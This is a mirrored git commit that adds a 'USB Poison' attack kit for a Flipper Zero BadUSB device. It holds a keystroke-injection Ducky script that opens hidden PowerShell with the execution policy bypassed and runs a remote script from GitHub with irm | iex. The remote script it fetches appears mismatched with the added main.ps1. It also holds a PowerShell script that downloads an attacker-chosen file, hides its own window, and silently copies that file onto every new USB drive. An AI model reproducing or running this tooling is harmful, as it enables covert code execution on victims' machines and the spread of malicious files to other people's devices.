mirror of
https://github.com/beigeworm/BadUSB-Files-For-FlipperZero.git
synced 2025-12-25 04:15:26 -08:00
Add files via upload
This commit is contained in:
16
USB-Poison/USB-Poison.txt
Normal file
16
USB-Poison/USB-Poison.txt
Normal file
@@ -0,0 +1,16 @@
|
||||
REM Title: USB Poison
|
||||
REM Author: @beigeworm
|
||||
REM Description: This script runs quietly in the background waiting for new USB storage devices.
|
||||
REM Description: When a new storage device connects, this script will copy a desired file to the root of newly connected drive.
|
||||
REM Target: Windows 10
|
||||
|
||||
REM some setup for dukie script
|
||||
DEFAULT_DELAY 100
|
||||
|
||||
REM open powershell (remove "-W H" to show the window)
|
||||
DELAY 1000
|
||||
GUI r
|
||||
DELAY 750
|
||||
STRING powershell -NoP -Ep Bypass -W H -C $url = 'YOUR_FILE_URL_HERE'; irm https://raw.githubusercontent.com/beigeworm/BadUSB-Files-For-FlipperZero/main/Record-Screen-GUI/main.ps1 | iex
|
||||
ENTER
|
||||
|
||||
61
USB-Poison/main.ps1
Normal file
61
USB-Poison/main.ps1
Normal file
@@ -0,0 +1,61 @@
|
||||
<# ====================== USB POISON ==========================
|
||||
|
||||
SYNOPSIS
|
||||
This script runs quietly in the background waiting for new USB storage devices.
|
||||
When a new storage device connects, this script will copy a desired file to the root of newly connected drive.
|
||||
|
||||
USAGE
|
||||
1. REPLACE the example file URL with your own.
|
||||
2. Run the script
|
||||
3. Your desired file will be downloaded to the 'temp' directory
|
||||
4. When a new USB storage device is connected the file is copied
|
||||
5. Use Task Manager to exit the script
|
||||
|
||||
#>
|
||||
|
||||
# Replace with your file direct download link
|
||||
$fileURL = "$url"
|
||||
|
||||
# Hidden Console
|
||||
$hidden = 'y'
|
||||
|
||||
$filename = Split-Path -Path $fileURL -Leaf
|
||||
$filepath = "$env:TEMP/$filename"
|
||||
iwr -Uri $fileURL -OutFile $filepath
|
||||
|
||||
|
||||
If ($hidden -eq 'y'){
|
||||
Write-Host "Hiding the Window.." -ForegroundColor Red
|
||||
sleep 1
|
||||
$Async = '[DllImport("user32.dll")] public static extern bool ShowWindowAsync(IntPtr hWnd, int nCmdShow);'
|
||||
$Type = Add-Type -MemberDefinition $Async -name Win32ShowWindowAsync -namespace Win32Functions -PassThru
|
||||
$hwnd = (Get-Process -PID $pid).MainWindowHandle
|
||||
if($hwnd -ne [System.IntPtr]::Zero){
|
||||
$Type::ShowWindowAsync($hwnd, 0)
|
||||
}
|
||||
else{
|
||||
$Host.UI.RawUI.WindowTitle = 'hideme'
|
||||
$Proc = (Get-Process | Where-Object { $_.MainWindowTitle -eq 'hideme' })
|
||||
$hwnd = $Proc.MainWindowHandle
|
||||
$Type::ShowWindowAsync($hwnd, 0)
|
||||
}
|
||||
}
|
||||
|
||||
while($true){
|
||||
|
||||
$initialDrives = Get-WMIObject Win32_LogicalDisk | ? {$_.DriveType -eq 2} | select DeviceID
|
||||
while ($true){
|
||||
$currentDrives = Get-WMIObject Win32_LogicalDisk | ? {$_.DriveType -eq 2} | select DeviceID
|
||||
$newDrive = $currentDrives | Where-Object { $initialDrives.DeviceID -notcontains $_.DeviceID}
|
||||
if ($newDrive){
|
||||
$drive = Get-WMIObject Win32_LogicalDisk | ? {$_.DriveType -eq 2} | Where-Object { $initialDrives.DeviceID -notcontains $_.DeviceID}
|
||||
$driveletter = ($drive.DeviceID + '/')
|
||||
Copy-Item -Path $filepath -Destination $driveletter
|
||||
sleep 1
|
||||
break
|
||||
}
|
||||
sleep 1
|
||||
}
|
||||
|
||||
sleep 1
|
||||
}
|
||||
Reference in New Issue
Block a user